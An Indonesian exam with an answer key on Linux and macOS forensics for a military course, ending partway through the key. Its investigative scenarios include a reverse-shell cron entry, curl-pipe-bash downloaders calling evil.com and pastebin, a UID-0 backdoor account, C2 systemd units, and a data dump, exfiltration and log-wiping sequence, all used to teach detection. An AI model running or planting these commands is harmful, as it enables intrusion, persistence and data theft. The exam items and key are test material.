Mata Kuliah: Digital Forensic for Military Purposes
SKS: 3 SKS
Pertemuan: 07
Topik: Forensik Linux dan Pengenalan Mac OS
Pengampu: Anindito, S.Kom., S.S., S.H., M.TI., CHFI
Dalam Linux, direktori yang menyimpan seluruh file konfigurasi sistem adalah:
A. /var
B. /home
C. /etc
D. /usr
E. /opt
Berapa jumlah timestamp yang disimpan dalam inode pada filesystem ext4?
A. 2 (atime, mtime)
B. 3 (atime, mtime, ctime)
C. 4 (atime, mtime, ctime, crtime)
D. 5 (atime, mtime, ctime, crtime, dtime)
E. 1 (mtime saja)
Pada file /etc/passwd, field ketiga (setelah username dan password placeholder) menunjukkan:
A. Group ID (GID)
B. User ID (UID)
C. Home directory
D. GECOS field
E. Login shell
Entry berikut ditemukan di /etc/passwd:
sysadm:x:0:0::/var/tmp:/bin/bash
Mengapa entry ini sangat mencurigakan dari perspektif forensik?
A. Karena menggunakan shell /bin/bash
B. Karena GECOS field kosong
C. Karena memiliki UID 0 yang memberikan hak root penuh
D. Karena home directory di /var/tmp
E. Karena C dan D keduanya benar β UID 0 selain root dan home di lokasi temp
Prefix $6$ pada hash password di /etc/shadow menunjukkan penggunaan algoritma:
A. MD5
B. Blowfish
C. SHA-256
D. SHA-512
E. yescrypt
File .bash_history yang berukuran 0 byte pada akun yang aktif paling mungkin mengindikasikan:
A. Akun tersebut baru dibuat dan belum pernah digunakan
B. Disk penuh sehingga history tidak bisa ditulis
C. Upaya anti-forensik untuk menghapus jejak aktivitas
D. Bug pada konfigurasi bash shell
E. Sistem baru saja di-restart
Variabel environment yang menentukan apakah bash history disimpan dengan timestamp adalah:
A. HISTSIZE
B. HISTFILE
C. HISTTIMEFORMAT
D. HISTCONTROL
E. HISTFILESIZE
Pada sistem Debian/Ubuntu, log autentikasi (login, logout, sudo) secara default disimpan di:
A. /var/log/syslog
B. /var/log/auth.log
C. /var/log/secure
D. /var/log/messages
E. /var/log/daemon.log
File /var/log/wtmp dan /var/log/btmp merupakan file log binary. Perintah yang tepat untuk membaca masing-masing adalah:
A. cat dan more
B. last dan lastb
C. grep dan awk
D. journalctl dan systemctl
E. strings dan hexdump
Seorang investigator menemukan cron job berikut:
*/5 * * * * root bash -i >& /dev/tcp/10.0.0.99/4444 0>&1
Apa tujuan dari cron job ini?
A. Backup otomatis setiap 5 menit
B. Monitoring jaringan berkala
C. Reverse shell ke attacker setiap 5 menit
D. Sinkronisasi waktu sistem
E. Rotasi log otomatis
Lokasi crontab per-user pada sistem Debian/Ubuntu adalah:
A. /etc/crontab
B. /etc/cron.d/
C. /var/spool/cron/crontabs/
D. /usr/local/cron/
E. ~/.crontab
Dalam konteks forensik Linux, teknik βLiving off the Landβ (LotL) mengacu pada:
A. Penggunaan malware khusus yang dibuat untuk Linux
B. Penggunaan fitur dan tool legitimate sistem operasi untuk persistence
C. Instalasi rootkit pada kernel Linux
D. Enkripsi seluruh filesystem untuk menghambat investigasi
E. Penggunaan virtual machine untuk menyembunyikan aktivitas
Untuk mencari semua file tersembunyi (hidden) yang baru dibuat di seluruh filesystem Linux, perintah yang tepat adalah:
A. ls -la / 2>/dev/null
B. find / -name ".*" -type f -newer /etc/passwd 2>/dev/null
C. grep -r "hidden" / 2>/dev/null
D. locate --hidden / 2>/dev/null
E. stat -c "%n" / 2>/dev/null
Filesystem default pada macOS modern adalah:
A. HFS+
B. ext4
C. APFS
D. NTFS
E. ZFS
Artefak macOS yang mencatat setiap perubahan filesystem dan tetap menyimpan informasi meskipun file sudah dihapus adalah:
A. Spotlight
B. Plist files
C. FSEvents
D. Unified Logs
E. Time Machine
Pada macOS, file konfigurasi utama menggunakan format:
A. Registry entries (seperti Windows)
B. Text-based configuration files (seperti Linux)
C. Property list (plist) β binary atau XML
D. JSON configuration files
E. YAML configuration files
Perintah Linux berikut:
grep "Failed password" /var/log/auth.log | grep -oE "([0-9]{1,3}\.){3}[0-9]{1,3}" | sort | uniq -c | sort -rn | head -10
Menghasilkan output berupa:
A. Daftar 10 user yang paling sering gagal login
B. Daftar 10 IP address dengan login gagal terbanyak
C. Daftar 10 port yang paling sering diserang
D. Daftar 10 timestamp serangan terbaru
E. Daftar 10 service yang paling sering error
File SSH yang menjadi target utama penyerang untuk memperoleh persistent access tanpa password adalah:
A. ~/.ssh/known_hosts
B. ~/.ssh/config
C. ~/.ssh/authorized_keys
D. /etc/ssh/sshd_config
E. ~/.ssh/id_rsa.pub
Untuk menganalisis log systemd journal pada rentang waktu tertentu, perintah yang tepat adalah:
A. cat /var/log/journal --since "2026-01-15"
B. journalctl --since "2026-01-15 00:00:00" --until "2026-01-15 23:59:59"
C. systemctl log --date "2026-01-15"
D. dmesg --since "2026-01-15"
E. syslog --range "2026-01-15"
Fitur APFS yang secara forensik sangat menguntungkan karena memungkinkan pemulihan versi data sebelumnya adalah:
A. Native encryption
B. Space sharing
C. Copy-on-Write (CoW) dan snapshots
D. Case-sensitive filenames
E. Nanosecond timestamps
Jelaskan perbedaan antara direktori /tmp dan /var/tmp dalam Linux dari perspektif forensik! Mengapa penyerang sering menggunakan keduanya?
Sebutkan dan jelaskan empat timestamp yang disimpan dalam inode ext4 (atime, mtime, ctime, crtime)! Berikan contoh skenario forensik untuk masing-masing.
Jelaskan format entry dalam file /etc/passwd! Identifikasi minimal 3 red flags yang mengindikasikan backdoor account.
Apa perbedaan antara file /etc/passwd dan /etc/shadow? Mengapa pemisahan ini penting dari perspektif keamanan?
Seorang investigator menemukan .bash_history berisi perintah-perintah berikut:
wget http://198.51.100.55/payload.sh -O /tmp/.update
chmod +x /tmp/.update
nohup /tmp/.update &
rm /tmp/.update
unset HISTFILE
Analisis setiap perintah dan jelaskan pola serangan yang terjadi!
Jelaskan perbedaan antara syslog tradisional dan systemd-journald! Kapan investigator harus menggunakan grep vs journalctl?
Jelaskan bagaimana cron jobs dan systemd timers dapat digunakan sebagai mekanisme persistence oleh penyerang! Berikan contoh entry mencurigakan untuk masing-masing dan cara mendeteksinya.
Analisis log auth.log berikut:
Feb 14 02:30:01 mil-srv sshd: Failed password for root from 203.0.113.99
Feb 14 02:30:02 mil-srv sshd: Failed password for admin from 203.0.113.99
Feb 14 02:30:03 mil-srv sshd: Failed password for operator from 203.0.113.99
Feb 14 02:30:45 mil-srv sshd: Accepted password for www-data from 203.0.113.99
Feb 14 02:31:10 mil-srv sudo: www-data : USER=root ; COMMAND=/bin/bash
Jelaskan apa yang terjadi, jenis serangannya, dan tindakan investigasi selanjutnya!
Jelaskan minimal 5 teknik Living off the Land (LotL) pada Linux! Untuk setiap teknik, berikan mekanisme dan metode deteksinya.
Apa peran file ~/.ssh/authorized_keys dalam forensik? Bagaimana penyerang mengeksploitasinya dan bagaimana investigator dapat mendeteksi SSH key injection?
Jelaskan perbedaan antara file log text-based (syslog, auth.log) dan file log binary (wtmp, btmp, lastlog) di Linux! Sebutkan tool yang digunakan untuk membaca masing-masing.
Anda menemukan systemd service file berikut di /etc/systemd/system/:
[Unit]
Description=System Health Monitor
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/bin/.svc_helper -c 203.0.113.88 -p 443
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
Lakukan analisis forensik terhadap service file ini! Identifikasi semua indikator mencurigakan dan jelaskan fungsi setiap bagiannya.
Bandingkan forensik Linux dan forensik macOS dari aspek: (a) filesystem, (b) mekanisme logging, (c) format konfigurasi, (d) scheduled tasks, dan (e) tantangan utama investigasi. Gunakan tabel perbandingan.
Jelaskan secara detail artefak-artefak forensik utama macOS (plist, Spotlight, FSEvents, Unified Logs)! Untuk masing-masing, jelaskan lokasi, format, jenis informasi yang tersedia, dan tool yang digunakan untuk analisis.
Buat prosedur lengkap timeline analysis menggunakan plaso/log2timeline untuk menganalisis disk image Linux! Jelaskan setiap langkah dari akuisisi hingga visualisasi timeline, termasuk perintah yang digunakan dan sumber artefak yang dikumpulkan.
Latar Belakang:
Tim SOC Kodam XIV/Hasanuddin mendeteksi anomali pada server database utama (hostname: kodam14-db, OS: Ubuntu Server 22.04 LTS, filesystem: ext4). Alert dipicu oleh monitoring system yang mencatat transfer data volume besar pada dini hari. Server ini menyimpan database personel, logistik, dan rencana operasi.
Bukti yang Tersedia:
Investigator telah mengamankan disk image server dan mengekstrak log berikut:
Jan 20 02:15:30 kodam14-db sshd[5521]: Accepted publickey for admin from 192.168.10.5 port 48210
Jan 20 02:15:45 kodam14-db sudo: admin : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/usr/bin/apt list --installed
Jan 20 02:16:20 kodam14-db sudo: admin : TTY=pts/0 ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Jan 20 02:16:45 kodam14-db sudo: admin : TTY=pts/0 ; USER=root ; COMMAND=/usr/bin/mysqldump --all-databases -u root -p > /tmp/all_db.sql
Jan 20 02:19:30 kodam14-db sudo: admin : TTY=pts/0 ; USER=root ; COMMAND=/usr/bin/tar czf /tmp/.backup.tar.gz /tmp/all_db.sql
Jan 20 02:20:10 kodam14-db sudo: admin : TTY=pts/0 ; USER=root ; COMMAND=/usr/bin/scp /tmp/.backup.tar.gz admin@172.16.0.99:/data/
Jan 20 02:21:30 kodam14-db sudo: admin : TTY=pts/0 ; USER=root ; COMMAND=/usr/bin/shred -n 3 -z /tmp/all_db.sql /tmp/.backup.tar.gz
Jan 20 02:22:00 kodam14-db sudo: admin : TTY=pts/0 ; USER=root ; COMMAND=/usr/sbin/service rsyslog stop
Jan 20 02:22:15 kodam14-db sudo: admin : TTY=pts/0 ; USER=root ; COMMAND=/usr/bin/truncate -s 0 /var/log/auth.log
Informasi Tambahan:
admin memiliki authorized SSH key; password tidak digunakanadmin terakhir dimodifikasi pada 20 Januari 02:23Pertanyaan:
1a. Buat timeline kronologis dari insiden ini berdasarkan log yang tersedia! Identifikasi setiap fase serangan menggunakan framework attack chain! (15 poin)
1b. Identifikasi minimal 8 artefak forensik Linux yang harus dikumpulkan dan dianalisis dari server ini! Urutkan berdasarkan prioritas dan jelaskan informasi yang diharapkan dari masing-masing! (15 poin)
1c. Investigator menemukan bahwa rsyslog sudah dihentikan dan auth.log telah di-truncate. Jelaskan sumber bukti alternatif yang masih dapat digunakan dan perintah untuk mengaksesnya! (15 poin)
1d. Analisis teknik anti-forensik yang digunakan pelaku dalam kasus ini! Untuk setiap teknik, jelaskan efektivitasnya dan bagaimana investigator dapat mengatasinya! (15 poin)
1e. Buat rekomendasi forensic readiness untuk mencegah insiden serupa di masa depan! Berikan minimal 5 rekomendasi teknis yang spesifik untuk infrastruktur Linux militer. (10 poin)
Latar Belakang:
Pangkalan Utama TNI AL (Lantamal) mengoperasikan web server internal (hostname: lantamal-web, OS: CentOS 8, nginx web server) yang digunakan untuk portal informasi dan sistem pelaporan. Tim keamanan menemukan beberapa indikator kompromi selama audit rutin.
Temuan Audit:
/tmp/.cache/update.sh yang berisi:
#!/bin/bash
while true; do
curl -s http://pastebin.com/raw/Abc123dE | bash
sleep 180
done
/var/spool/cron/nginx:
*/3 * * * * /tmp/.cache/update.sh > /dev/null 2>&1
/etc/passwd:
sysmon:x:0:0:System Monitor:/dev/shm:/bin/bash
File /home/nginx/.ssh/authorized_keys berisi public key yang tidak dikenali oleh administrator.
/etc/systemd/system/sys-monitor.service:
```ini
[Unit]
Description=System Monitoring Daemon[Service] ExecStart=/usr/local/bin/.monitor -connect 198.51.100.77:8443 Restart=always
[Install] WantedBy=multi-user.target
6. Timestamp analisis:
- `/tmp/.cache/update.sh`: crtime Jan 5, mtime Jan 5
- `/etc/passwd`: mtime Jan 5 (sebelumnya Dec 15)
- `authorized_keys`: mtime Jan 5
- `sys-monitor.service`: crtime Jan 5, mtime Jan 5
**Pertanyaan:**
**2a.** Klasifikasikan setiap temuan (1-5) berdasarkan jenis persistence mechanism yang digunakan! Jelaskan bagaimana masing-masing bekerja dan tingkat bahayanya! (15 poin)
**2b.** Berdasarkan timestamp, buat rekonstruksi kronologis serangan! Kapan initial compromise terjadi? Apa saja langkah yang dilakukan penyerang? (15 poin)
**2c.** Untuk setiap temuan, tuliskan perintah Linux yang tepat untuk mendeteksi dan menganalisis artefak tersebut! Minimal 2 perintah per temuan. (15 poin)
**2d.** Jelaskan mengapa penyerang menggunakan multiple persistence mechanisms! Apa keuntungan dan risiko bagi penyerang dari pendekatan ini? Kaitkan dengan konsep defense-in-depth dari perspektif attacker. (10 poin)
**2e.** Buat rencana remediation dan hardening untuk server ini! Sertakan langkah-langkah forensik yang harus dilakukan sebelum remediation dan konfigurasi pencegahan yang harus diterapkan. (10 poin)
---
## Kunci Jawaban
### Bagian A: Pilihan Ganda
| No | Jawaban | Penjelasan |
|----|---------|------------|
| 1 | **C** | Direktori `/etc` (et cetera) menyimpan seluruh file konfigurasi sistem seperti passwd, shadow, fstab, crontab |
| 2 | **C** | ext4 menyimpan 4 timestamp: atime (access), mtime (modify), ctime (change), crtime (creation/birth) |
| 3 | **B** | Format /etc/passwd: username:x:UID:GID:GECOS:home:shell β field ketiga adalah User ID |
| 4 | **E** | Kombinasi UID 0 (hak root) DAN home di /var/tmp keduanya mencurigakan β backdoor account |
| 5 | **D** | Prefix $6$ menandakan SHA-512; $1$=MD5, $2b$=Blowfish, $5$=SHA-256, $y$=yescrypt |
| 6 | **C** | File history 0 byte pada akun aktif sangat mengindikasikan anti-forensik (history -c, HISTSIZE=0, dll) |
| 7 | **C** | HISTTIMEFORMAT menentukan format timestamp pada bash history, misalnya `%F %T ` |
| 8 | **B** | Debian/Ubuntu menggunakan /var/log/auth.log; RHEL/CentOS menggunakan /var/log/secure |
| 9 | **B** | wtmp dibaca dengan `last`, btmp dibaca dengan `lastb` β keduanya file binary |
| 10 | **C** | Entry cron ini membuat reverse shell ke IP 10.0.0.99 port 4444 setiap 5 menit |
| 11 | **C** | Crontab per-user pada Debian/Ubuntu disimpan di /var/spool/cron/crontabs/ |
| 12 | **B** | LotL menggunakan fitur dan tool bawaan OS (cron, systemd, SSH, iptables) β sulit dideteksi |
| 13 | **B** | `find / -name ".*" -type f -newer /etc/passwd 2>/dev/null` mencari hidden files lebih baru dari /etc/passwd |
| 14 | **C** | APFS (Apple File System) adalah filesystem default macOS sejak High Sierra (2017) |
| 15 | **C** | FSEvents mencatat setiap create/modify/delete pada filesystem, termasuk file yang sudah dihapus |
| 16 | **C** | macOS menggunakan plist (Property List) dalam format binary (bplist) atau XML |
| 17 | **B** | Pipeline ini mengekstrak IP dari failed password, menghitung frekuensi, dan menampilkan top 10 |
| 18 | **C** | authorized_keys berisi public key yang diizinkan login β penyerang menambahkan key mereka |
| 19 | **B** | journalctl dengan --since dan --until memfilter log berdasarkan rentang waktu |
| 20 | **C** | CoW menyimpan data lama saat modifikasi, dan snapshots memungkinkan pemulihan state sebelumnya |
---
### Bagian B: Uraian
#### Jawaban Soal 1 β
**Perbedaan /tmp dan /var/tmp:**
| Aspek | /tmp | /var/tmp |
|-------|------|----------|
| Pembersihan | Dibersihkan saat reboot (systemd-tmpfiles-clean) | Bertahan setelah reboot, dibersihkan setelah 30 hari |
| Izin akses | Writable oleh semua user (sticky bit) | Writable oleh semua user (sticky bit) |
| Ukuran | Sering di-mount sebagai tmpfs (RAM) | Disk-based storage |
**Alasan penyerang menggunakan keduanya:**
- **Writable oleh semua user** β tidak perlu privilege khusus untuk menulis file
- **Jarang dimonitor** β administrator sering mengabaikan isi direktori temp
- **Self-cleaning** β /tmp dibersihkan otomatis, menghilangkan bukti setelah reboot
- **Hidden files** β file diawali titik (`.file`) tersembunyi dari `ls` biasa
---
#### Jawaban Soal 2 β
| Timestamp | Nama Lengkap | Berubah Ketika | Skenario Forensik |
|-----------|-------------|----------------|-------------------|
| **atime** | Access Time | File dibaca/diakses | Mendeteksi kapan dokumen rahasia terakhir dibuka oleh pelaku |
| **mtime** | Modification Time | Konten file dimodifikasi | Mendeteksi kapan konfigurasi firewall diubah oleh penyerang |
| **ctime** | Change Time | Metadata (permission, ownership) berubah | Mendeteksi perubahan permission file (chmod) atau ownership (chown) |
| **crtime** | Creation/Birth Time | Tidak pernah berubah | Menentukan kapan file malware pertama kali dibuat di sistem |
**Catatan penting:** crtime hanya tersedia di ext4 (tidak di ext3). Gunakan perintah `stat` untuk melihat semua timestamp, atau `debugfs` untuk crtime pada ext4.
---
#### Jawaban Soal 3 β
**Format entry /etc/passwd:**
username:x:UID:GID:GECOS:home_directory:login_shell
| Field | Keterangan |
|-------|-----------|
| username | Nama login (1-32 karakter) |
| x | Placeholder password (hash di /etc/shadow) |
| UID | User ID (0 = root, 1000+ = regular user) |
| GID | Primary Group ID |
| GECOS | Informasi deskriptif (nama lengkap, dll) |
| home_directory | Lokasi home directory user |
| login_shell | Shell default saat login |
**Red flags backdoor account:**
1. **UID 0 selain root** β memberikan hak akses root penuh
2. **Home directory di /tmp, /var/tmp, /dev/shm** β lokasi sementara untuk menyembunyikan aktivitas
3. **GECOS field kosong** β akun dibuat tanpa identitas
4. **Shell valid (/bin/bash, /bin/sh) pada service account** β service account seharusnya /usr/sbin/nologin
5. **Username menyerupai service name** β seperti "syslog2", "httpd-admin" untuk mengelabui
---
#### Jawaban Soal 4 β
**Perbedaan /etc/passwd dan /etc/shadow:**
| Aspek | /etc/passwd | /etc/shadow |
|-------|-------------|-------------|
| Akses | Readable oleh semua user (644) | Hanya root yang bisa baca (640) |
| Isi | Informasi akun (UID, GID, home, shell) | Hash password dan policy kedaluwarsa |
| Password | Placeholder "x" | Hash aktual ($6$salt$hash) |
| Tujuan | Pemetaan username β UID | Keamanan password |
**Pentingnya pemisahan:** Sebelum shadow passwords, hash password disimpan di /etc/passwd yang readable oleh semua user β memungkinkan offline cracking. Dengan pemisahan, hash hanya bisa diakses oleh root, meningkatkan keamanan secara signifikan.
---
#### Jawaban Soal 5 ββ
**Analisis per perintah:**
| Perintah | Tujuan | Fase Serangan |
|----------|--------|---------------|
| `wget http://198.51.100.55/payload.sh -O /tmp/.update` | Download payload dari server penyerang, simpan sebagai hidden file | **Delivery & Installation** |
| `chmod +x /tmp/.update` | Buat file executable | **Installation** |
| `nohup /tmp/.update &` | Jalankan payload di background, tetap berjalan setelah logout | **Execution** |
| `rm /tmp/.update` | Hapus file payload dari disk | **Anti-forensik** |
| `unset HISTFILE` | Mencegah perintah selanjutnya disimpan ke history | **Anti-forensik** |
**Pola serangan:** Download β Prepare β Execute β Clean Evidence. Catatan: `rm` menghapus directory entry tapi konten file masih bisa di-recover karena proses masih menggunakan file (file descriptor masih terbuka di /proc/[pid]/fd/).
---
#### Jawaban Soal 6 ββ
| Aspek | syslog Tradisional | systemd-journald |
|-------|-------------------|-----------------|
| Format penyimpanan | Text files di /var/log/ | Binary database |
| Persistence | Selalu persistent | Persistent jika dikonfigurasi |
| Metadata | Timestamp, facility, severity | Timestamp, PID, UID, unit, boot ID, dll |
| Pencarian | grep, awk, sed | journalctl dengan filter |
| Rotasi | logrotate (compress/delete) | Otomatis (size/time-based) |
| Tampering | Mudah dimanipulasi | Lebih sulit, ada sealing |
**Kapan menggunakan grep vs journalctl:**
- **grep**: Untuk file log text tradisional (/var/log/auth.log, /var/log/syslog), analisis multi-file, dan scripting
- **journalctl**: Untuk structured queries, filter berdasarkan unit/boot/priority, dan export ke JSON
---
#### Jawaban Soal 7 ββ
**Cron jobs sebagai persistence:**
*/5 * * * * root curl -s http://evil.com/payload | bash
- **Deteksi:** Periksa `/etc/crontab`, `/etc/cron.d/`, `/var/spool/cron/crontabs/`, dan `crontab -l -u <user>` untuk semua user
**Systemd timers sebagai persistence:**
```ini
# /etc/systemd/system/backdoor.service
[Service]
ExecStart=/usr/local/bin/.helper -c 10.0.0.99
Restart=always
systemctl list-timers --all, periksa /etc/systemd/system/ dan /run/systemd/system/ untuk unit files yang tidak dikenalPerbandingan:
Analisis insiden:
www-data β akun web server yang seharusnya non-interactive berhasil dibobolJenis serangan: Brute-force SSH diikuti privilege escalation
Tindakan investigasi:
/var/log/auth.log untuk total failed attempts dan IP lain~www-data/.bash_history untuk aktivitas setelah mendapat rootlast dan lastb untuk session history/etc/sudoers β mengapa www-data memiliki sudo access?| No | Teknik LotL | Mekanisme | Deteksi |
|---|---|---|---|
| 1 | Cron persistence | Cron job menjalankan reverse shell/downloader | Audit semua crontab: for u in $(cut -d: -f1 /etc/passwd); do crontab -l -u $u; done |
| 2 | Systemd service | Custom unit file untuk backdoor binary | systemctl list-units --all, periksa /etc/systemd/system/ |
| 3 | SSH key injection | Tambah public key ke authorized_keys | find / -name authorized_keys -exec cat {} + |
| 4 | Bashrc modification | Sisipkan perintah malicious di ~/.bashrc | Periksa seluruh .bashrc, .bash_profile, .profile untuk perintah aneh |
| 5 | LD_PRELOAD hijack | Set LD_PRELOAD di /etc/ld.so.preload | cat /etc/ld.so.preload, ldd untuk verifikasi shared libraries |
| 6 | PAM backdoor | Modifikasi PAM module untuk bypass auth | md5sum /lib/*/security/pam_*.so dan bandingkan dengan baseline |
| 7 | rc.local/init.d | Script startup di legacy init system | Periksa /etc/rc.local, /etc/init.d/ untuk script non-standar |
Peran ~/.ssh/authorized_keys: File ini berisi daftar public key yang diizinkan login SSH ke akun tersebut tanpa password. Setiap baris berisi satu public key.
Eksploitasi oleh penyerang:
Deteksi SSH key injection:
find / -name authorized_keys -exec ls -la {} \; 2>/dev/null β cari semua authorized_keysstat ~/.ssh/authorized_keys β periksa timestamps untuk modifikasi mencurigakan| Aspek | Text-based Logs | Binary Logs |
|---|---|---|
| Format | Plain text (ASCII/UTF-8) | Struktur binary khusus |
| Contoh | syslog, auth.log, kern.log | wtmp, btmp, lastlog, journal |
| Cara baca | cat, grep, awk, sed, less | Tool khusus |
| Kemudahan manipulasi | Mudah diedit dengan text editor | Lebih sulit dimanipulasi |
| Ukuran | Lebih besar | Lebih kompak |
| Pencarian | grep, regex | Tool-specific queries |
Tools untuk masing-masing:
wtmp β last, utmpdumpbtmp β lastb, utmpdumplastlog β lastlogsystemd journal β journalctlgrep, awk, sed, zgrep (untuk .gz)Analisis forensik service file:
| Elemen | Nilai | Analisis | Indikator |
|---|---|---|---|
| Description | βSystem Health Monitorβ | Nama sengaja dibuat menyerupai service legitimate | π‘ Social engineering |
| After | network.target | Memastikan network tersedia sebelum start | π΄ Butuh koneksi jaringan |
| ExecStart | /usr/local/bin/.svc_helper |
Binary tersembunyi (diawali titik) | π΄ Hidden binary |
| Parameter | -c 203.0.113.88 -p 443 |
Connect ke IP dengan port 443 (HTTPS) | π΄ C2 communication |
| Restart | always | Auto-restart jika proses mati | π΄ Persistent β sulit dihentikan |
| RestartSec | 30 | Interval restart 30 detik | π‘ Quick reconnection |
| WantedBy | multi-user.target | Start otomatis saat boot | π΄ Boot persistence |
Kesimpulan: Service ini adalah backdoor C2 beacon yang:
Langkah investigasi:
md5sum /usr/local/bin/.svc_helper β hash binarystrings /usr/local/bin/.svc_helper β cari string IoCstrace -p $(pgrep svc_helper) β trace system calls (jika live)ss -tnp | grep svc_helper β cek koneksi aktif| Aspek | Linux | macOS |
|---|---|---|
| Filesystem | ext4 (default), XFS, Btrfs; journal-based; 4 timestamps di ext4 | APFS (default); Copy-on-Write; snapshots; native encryption; nanosecond timestamps |
| Logging | syslog (text) + systemd-journald (binary); distributed di /var/log/ | Unified Logs (binary terpusat); dibaca dengan log show; lokasi di /var/db/diagnostics/ |
| Konfigurasi | Text-based files di /etc/ (passwd, shadow, fstab, dll) | Property List (plist) β binary (bplist) atau XML; di ~/Library/Preferences/ |
| Scheduled tasks | cron (/etc/crontab, /var/spool/cron/) + systemd timers | launchd (plist-based); LaunchAgents + LaunchDaemons |
| Tantangan utama | Banyak distribusi dengan variasi path; anti-forensik mudah (text log) | FileVault encryption; T2/M-chip boot restrictions; proprietary format; tool berbayar |
| Artefak | Lokasi | Format | Informasi | Tool Analisis |
|---|---|---|---|---|
| Plist files | ~/Library/Preferences/, /Library/Preferences/ | Binary (bplist) atau XML | Konfigurasi aplikasi, preferensi user, history browser, WiFi connections | plutil, plistutil, PlistBuddy |
| Spotlight | /.Spotlight-V100/ | Binary database | Nama file, path, metadata, konten teks, EXIF data, atribut Finder | mdls (metadata), mdfind (search), mac_apt |
| FSEvents | /.fseventsd/ | Compressed binary (gzip) | Event ID, path, event flags (create/modify/delete/rename), timestamp | FSEventsParser, mac_apt, Autopsy |
| Unified Logs | /var/db/diagnostics/, /var/db/uuidtext/ | Binary (tracev3) | Timestamp, process, subsystem, category, message level, OS activity | log show (macOS), macos-UnifiedLogs (cross-platform), natively supported in Axiom |
Prosedur Timeline Analysis dengan Plaso:
Langkah 1: Persiapan
# Install plaso
pip install plaso
# Atau gunakan Docker
docker pull log2timeline/plaso
Langkah 2: Mounting disk image (read-only)
sudo losetup -fP --read-only evidence.dd
sudo mount -o ro,noexec /dev/loop0p1 /mnt/evidence/
Langkah 3: Ekstraksi timestamp dengan log2timeline
log2timeline.py --storage-file timeline.plaso /mnt/evidence/
# Atau dari raw image langsung:
log2timeline.py --storage-file timeline.plaso evidence.dd
Sumber artefak yang dikumpulkan:
Langkah 4: Filter dan export
# Export ke CSV dengan filter waktu
psort.py -o l2tcsv timeline.plaso "date > '2026-01-15 00:00:00' AND date < '2026-01-21 00:00:00'" > filtered_timeline.csv
# Export ke format Kibana-friendly
psort.py -o elastic timeline.plaso > elastic_output.json
Langkah 5: Analisis dan visualisasi
Jawaban 1a β Timeline Kronologis (15 poin)
| Waktu | Aktivitas | Fase Serangan |
|---|---|---|
| 02:15:30 | SSH login via publickey dari 192.168.10.5 | Initial Access β kemungkinan compromised workstation atau stolen SSH key |
| 02:15:45 | apt list --installed |
Reconnaissance β enumerasi software terinstall |
| 02:16:20 | cat /etc/shadow |
Credential Access β membaca hash password |
| 02:16:45 | mysqldump --all-databases |
Collection β dump seluruh database |
| 02:19:30 | tar czf kompres ke hidden file |
Staging β persiapan exfiltration |
| 02:20:10 | scp ke 172.16.0.99 |
Exfiltration β transfer data ke server eksternal |
| 02:21:30 | shred file dump |
Anti-forensik β penghancuran bukti |
| 02:22:00 | Stop rsyslog | Anti-forensik β hentikan pencatatan log |
| 02:22:15 | Truncate auth.log | Anti-forensik β hapus log yang sudah tercatat |
Total durasi insiden: kurang dari 7 menit β menunjukkan serangan yang sudah direncanakan matang.
Jawaban 1b β 8 Artefak Forensik Prioritas (15 poin)
| Prioritas | Artefak | Lokasi | Informasi yang Diharapkan |
|---|---|---|---|
| 1 | systemd journal | journalctl |
Log yang mungkin belum terhapus (binary, lebih sulit di-truncate) |
| 2 | .bash_history admin | /home/admin/.bash_history | Perintah yang dijalankan (jika belum dihapus) |
| 3 | SSH authorized_keys | /home/admin/.ssh/authorized_keys | Public key yang digunakan untuk login |
| 4 | SSH known_hosts | /home/admin/.ssh/known_hosts | Daftar server yang pernah dihubungi (172.16.0.99?) |
| 5 | wtmp/btmp | /var/log/wtmp, /var/log/btmp | Session login binary (lebih sulit dimanipulasi) |
| 6 | Crontab admin | /var/spool/cron/crontabs/admin | Persistence mechanism (dimodifikasi 02:23) |
| 7 | Filesystem timestamps | stat /tmp/, /etc/, /home/admin/ | Timeline aktivitas file |
| 8 | Network connections | ss, /var/log/kern.log | Koneksi ke 172.16.0.99 |
Jawaban 1c β Sumber Bukti Alternatif (15 poin)
Meskipun rsyslog dihentikan dan auth.log di-truncate, bukti alternatif tersedia:
journalctl --since "2026-01-20 02:00:00" β journal binary terpisah dari rsysloglast -f /var/log/wtmp β mencatat login sessions, file binary terpisahlastb -f /var/log/btmp β mencatat failed loginszgrep "admin" /var/log/auth.log.1.gz β log sebelum rotasi mungkin masih adaausearch -ts 01/20/2026 02:00:00 β jika auditd aktiffind /tmp -newer /etc/hostname -ls β artefak file yang dibuatJawaban 1d β Analisis Anti-Forensik (15 poin)
| Teknik | Perintah | Efektivitas | Counter-measure |
|---|---|---|---|
| shred | shred -n 3 -z |
Tinggi β overwrite 3x + zero-fill; data hampir tidak bisa di-recover dari HDD | Jika SSD, TRIM mungkin tidak efektif 100%; periksa journal ext4 |
| Stop rsyslog | service rsyslog stop |
Sedang β menghentikan logging text, tapi journald mungkin masih aktif | Periksa systemd journal sebagai sumber alternatif |
| Truncate auth.log | truncate -s 0 |
Sedang β menghapus konten, tapi rotated logs (.1.gz) mungkin masih ada | Periksa auth.log.1, auth.log.2.gz |
| Hidden filename | .backup.tar.gz |
Rendah β tidak muncul di ls biasa, tapi mudah ditemukan dengan find |
find / -name ".*" -type f |
Jawaban 1e β Rekomendasi Forensic Readiness (10 poin)
Jawaban 2a β Klasifikasi Persistence Mechanisms (15 poin)
| Temuan | Jenis Persistence | Cara Kerja | Tingkat Bahaya |
|---|---|---|---|
| 1. /tmp/.cache/update.sh | Fileless malware via download-execute | Script loops, download payload dari Pastebin, execute via bash | π΄ Tinggi β payload dinamis, sulit di-signature |
| 2. Cron job nginx | Scheduled task persistence | Jalankan script setiap 3 menit sebagai user nginx | π΄ Tinggi β auto-restart jika script mati |
| 3. sysmon UID 0 | Backdoor account | Akun dengan hak root, home di /dev/shm (RAM-based) | π΄ Kritis β full root access |
| 4. SSH authorized_keys | SSH key persistence | Login tanpa password kapan saja | π΄ Tinggi β persistent, sulit dideteksi |
| 5. systemd service | Service persistence | Binary C2 beacon, auto-restart, start at boot | π΄ Kritis β multiple layers of persistence |
Jawaban 2b β Rekonstruksi Kronologis (15 poin)
Berdasarkan timestamp (semua crtime/mtime menunjuk ke 5 Januari):
/tmp/.cache/update.sh β fileless malware dropper/etc/passwd β tambah backdoor account sysmon dengan UID 0sys-monitor.service β C2 beaconJawaban 2c β Perintah Deteksi dan Analisis (15 poin)
Temuan 1 β Hidden script:
find /tmp -name ".*" -type f -ls
cat /tmp/.cache/update.sh
stat /tmp/.cache/update.sh
